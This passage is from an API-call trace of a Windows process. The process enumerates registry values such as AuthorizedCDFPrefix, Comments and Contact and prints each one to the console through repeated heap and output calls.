lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.192] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.192] GetProcessHeap () returned 0x3c0000 [0149.192] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.192] GetProcessHeap () returned 0x3c0000 [0149.192] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.192] GetProcessHeap () returned 0x3c0000 [0149.192] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.192] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.192] __iob_func () returned 0x7fefd702a80 [0149.192] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.193] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.193] _fileno (_File=0x7fefd702ab0) returned 1 [0149.193] _errno () returned 0x204bb0 [0149.193] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.193] _errno () returned 0x204bb0 [0149.193] GetFileType (hFile=0x50) returned 0x1 [0149.193] lstrlenW (lpString=" ") returned 4 [0149.193] GetConsoleOutputCP () returned 0x1b5 [0149.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.193] GetConsoleOutputCP () returned 0x1b5 [0149.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.193] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.193] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.193] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0149.193] __iob_func () returned 0x7fefd702a80 [0149.193] _fileno (_File=0x7fefd702ab0) returned 1 [0149.193] _errno () returned 0x204bb0 [0149.193] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.193] _errno () returned 0x204bb0 [0149.193] GetFileType (hFile=0x50) returned 0x1 [0149.193] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0149.193] GetConsoleOutputCP () returned 0x1b5 [0149.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0149.193] GetConsoleOutputCP () returned 0x1b5 [0149.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0149.194] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0149.194] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.194] __iob_func () returned 0x7fefd702a80 [0149.194] _fileno (_File=0x7fefd702ab0) returned 1 [0149.194] _errno () returned 0x204bb0 [0149.194] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.194] _errno () returned 0x204bb0 [0149.194] GetFileType (hFile=0x50) returned 0x1 [0149.194] lstrlenW (lpString=" ") returned 4 [0149.194] GetConsoleOutputCP () returned 0x1b5 [0149.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.194] GetConsoleOutputCP () returned 0x1b5 [0149.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.194] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.194] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.194] __iob_func () returned 0x7fefd702a80 [0149.194] _fileno (_File=0x7fefd702ab0) returned 1 [0149.194] _errno () returned 0x204bb0 [0149.194] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.194] _errno () returned 0x204bb0 [0149.194] GetFileType (hFile=0x50) returned 0x1 [0149.194] lstrlenW (lpString="REG_SZ") returned 6 [0149.194] GetConsoleOutputCP () returned 0x1b5 [0149.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.195] GetConsoleOutputCP () returned 0x1b5 [0149.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.195] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.195] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.195] __iob_func () returned 0x7fefd702a80 [0149.195] _fileno (_File=0x7fefd702ab0) returned 1 [0149.195] _errno () returned 0x204bb0 [0149.195] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.195] _errno () returned 0x204bb0 [0149.195] GetFileType (hFile=0x50) returned 0x1 [0149.195] lstrlenW (lpString=" ") returned 4 [0149.195] GetConsoleOutputCP () returned 0x1b5 [0149.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.195] GetConsoleOutputCP () returned 0x1b5 [0149.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.195] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.195] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.195] __iob_func () returned 0x7fefd702a80 [0149.195] _fileno (_File=0x7fefd702ab0) returned 1 [0149.195] _errno () returned 0x204bb0 [0149.195] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.195] _errno () returned 0x204bb0 [0149.195] GetFileType (hFile=0x50) returned 0x1 [0149.196] lstrlenW (lpString="") returned 0 [0149.196] __iob_func () returned 0x7fefd702a80 [0149.196] _fileno (_File=0x7fefd702ab0) returned 1 [0149.196] _errno () returned 0x204bb0 [0149.196] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.196] _errno () returned 0x204bb0 [0149.196] GetFileType (hFile=0x50) returned 0x1 [0149.196] lstrlenW (lpString="\n") returned 1 [0149.196] GetConsoleOutputCP () returned 0x1b5 [0149.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.196] GetConsoleOutputCP () returned 0x1b5 [0149.196] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.196] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.196] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.196] GetProcessHeap () returned 0x3c0000 [0149.196] GetProcessHeap () returned 0x3c0000 [0149.196] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.196] GetProcessHeap () returned 0x3c0000 [0149.196] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.196] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.196] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.196] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x9c) returned 0x0 [0149.196] GetProcessHeap () returned 0x3c0000 [0149.196] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x9e) returned 0x3e1a60 [0149.196] GetProcessHeap () returned 0x3c0000 [0149.196] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1a60) returned 1 [0149.196] GetProcessHeap () returned 0x3c0000 [0149.196] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1a60) returned 0x9e [0149.196] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1a60, pcbData=0x29f780*=0x9c | out: pdwType=0x29f700*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x29f780*=0x9a) returned 0x0 [0149.197] __iob_func () returned 0x7fefd702a80 [0149.197] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.197] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.197] _fileno (_File=0x7fefd702ab0) returned 1 [0149.197] _errno () returned 0x204bb0 [0149.197] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.197] _errno () returned 0x204bb0 [0149.197] GetFileType (hFile=0x50) returned 0x1 [0149.197] lstrlenW (lpString=" ") returned 4 [0149.197] GetConsoleOutputCP () returned 0x1b5 [0149.197] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.197] GetConsoleOutputCP () returned 0x1b5 [0149.197] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.197] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.197] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.197] lstrlenW (lpString="Comments") returned 8 [0149.197] __iob_func () returned 0x7fefd702a80 [0149.197] _fileno (_File=0x7fefd702ab0) returned 1 [0149.197] _errno () returned 0x204bb0 [0149.197] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.197] _errno () returned 0x204bb0 [0149.197] GetFileType (hFile=0x50) returned 0x1 [0149.197] lstrlenW (lpString="Comments") returned 8 [0149.197] GetConsoleOutputCP () returned 0x1b5 [0149.197] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.198] GetConsoleOutputCP () returned 0x1b5 [0149.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0149.198] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.198] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.198] __iob_func () returned 0x7fefd702a80 [0149.198] _fileno (_File=0x7fefd702ab0) returned 1 [0149.198] _errno () returned 0x204bb0 [0149.198] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.198] _errno () returned 0x204bb0 [0149.198] GetFileType (hFile=0x50) returned 0x1 [0149.198] lstrlenW (lpString=" ") returned 4 [0149.198] GetConsoleOutputCP () returned 0x1b5 [0149.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.198] GetConsoleOutputCP () returned 0x1b5 [0149.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.198] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.198] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.198] __iob_func () returned 0x7fefd702a80 [0149.198] _fileno (_File=0x7fefd702ab0) returned 1 [0149.198] _errno () returned 0x204bb0 [0149.198] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.198] _errno () returned 0x204bb0 [0149.198] GetFileType (hFile=0x50) returned 0x1 [0149.198] lstrlenW (lpString="REG_SZ") returned 6 [0149.199] GetConsoleOutputCP () returned 0x1b5 [0149.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.199] GetConsoleOutputCP () returned 0x1b5 [0149.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.199] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.199] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.199] __iob_func () returned 0x7fefd702a80 [0149.199] _fileno (_File=0x7fefd702ab0) returned 1 [0149.199] _errno () returned 0x204bb0 [0149.199] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.199] _errno () returned 0x204bb0 [0149.199] GetFileType (hFile=0x50) returned 0x1 [0149.199] lstrlenW (lpString=" ") returned 4 [0149.199] GetConsoleOutputCP () returned 0x1b5 [0149.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.199] GetConsoleOutputCP () returned 0x1b5 [0149.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.199] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.199] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.199] __iob_func () returned 0x7fefd702a80 [0149.199] _fileno (_File=0x7fefd702ab0) returned 1 [0149.200] _errno () returned 0x204bb0 [0149.200] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.200] _errno () returned 0x204bb0 [0149.200] GetFileType (hFile=0x50) returned 0x1 [0149.200] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0149.200] GetConsoleOutputCP () returned 0x1b5 [0149.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0149.200] GetConsoleOutputCP () returned 0x1b5 [0149.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0149.200] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0149.200] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.200] __iob_func () returned 0x7fefd702a80 [0149.200] _fileno (_File=0x7fefd702ab0) returned 1 [0149.200] _errno () returned 0x204bb0 [0149.200] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.200] _errno () returned 0x204bb0 [0149.200] GetFileType (hFile=0x50) returned 0x1 [0149.200] lstrlenW (lpString="\n") returned 1 [0149.200] GetConsoleOutputCP () returned 0x1b5 [0149.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.200] GetConsoleOutputCP () returned 0x1b5 [0149.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.201] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.201] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.201] GetProcessHeap () returned 0x3c0000 [0149.201] GetProcessHeap () returned 0x3c0000 [0149.201] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1a60) returned 1 [0149.201] GetProcessHeap () returned 0x3c0000 [0149.201] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1a60) returned 0x9e [0149.201] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1a60 | out: hHeap=0x3c0000) returned 1 [0149.201] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.201] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.201] GetProcessHeap () returned 0x3c0000 [0149.201] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.201] GetProcessHeap () returned 0x3c0000 [0149.201] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.201] GetProcessHeap () returned 0x3c0000 [0149.201] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.201] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.201] __iob_func () returned 0x7fefd702a80 [0149.201] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.201] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.201] _fileno (_File=0x7fefd702ab0) returned 1 [0149.201] _errno () returned 0x204bb0 [0149.201] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.201] _errno () returned 0x204bb0 [0149.201] GetFileType (hFile=0x50) returned 0x1 [0149.201] lstrlenW (lpString=" ") returned 4 [0149.201] GetConsoleOutputCP () returned 0x1b5 [0149.201] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.201] GetConsoleOutputCP () returned 0x1b5 [0149.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.202] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.202] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.202] lstrlenW (lpString="Contact") returned 7 [0149.202] __iob_func () returned 0x7fefd702a80 [0149.202] _fileno (_File=0x7fefd702ab0) returned 1 [0149.202] _errno () returned 0x204bb0 [0149.202] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.202] _errno () returned 0x204bb0 [0149.202] GetFileType (hFile=0x50) returned 0x1 [0149.202] lstrlenW (lpString="Contact") returned 7 [0149.202] GetConsoleOutputCP () returned 0x1b5 [0149.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.202] GetConsoleOutputCP () returned 0x1b5 [0149.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0149.202] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.202] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.202] __iob_func () returned 0x7fefd702a80 [0149.202] _fileno (_File=0x7fefd702ab0) returned 1 [0149.202] _errno () returned 0x204bb0 [0149.202] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.202] _errno () returned 0x204bb0 [0149.202] GetFileType (hFile=0x50) returned 0x1 [0149.202] lstrlenW (lpString=" ") returned 4 [0149.202] GetConsoleOutputCP () returned 0x1b5 [0149.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.203] GetConsoleOutputCP () returned 0x1b5 [0149.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.203] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.203] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.203] __iob_func () returned 0x7fefd702a80 [0149.203] _fileno (_File=0x7fefd702ab0) returned 1 [0149.203] _errno () returned 0x204bb0 [0149.203] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.203] _errno () returned 0x204bb0 [0149.203] GetFileType (hFile=0x50) returned 0x1 [0149.203] lstrlenW (lpString="REG_SZ") returned 6 [0149.203] GetConsoleOutputCP () returned 0x1b5 [0149.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.203] GetConsoleOutputCP () returned 0x1b5 [0149.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.203] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.203] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.203] __iob_func () returned 0x7fefd702a80 [0149.203] _fileno (_File=0x7fefd702ab0) returned 1 [0149.203] _errno () returned 0x204bb0 [0149.203] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.203] _errno () returned 0x204bb0 [0149.203] GetFileType (hFile=0x50) returned 0x1 [0149.204] lstrlenW (lpString=" ") returned 4 [0149.204] GetConsoleOutputCP () returned 0x1b5 [0149.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.204] GetConsoleOutputCP () returned 0x1b5 [0149.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.204] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.204] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.204] __iob_func () returned 0x7fefd702a80 [0149.204] _fileno (_File=0x7fefd702ab0) returned 1 [0149.204] _errno () returned 0x204bb0 [0149.204] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.204] _errno () returned 0x204bb0 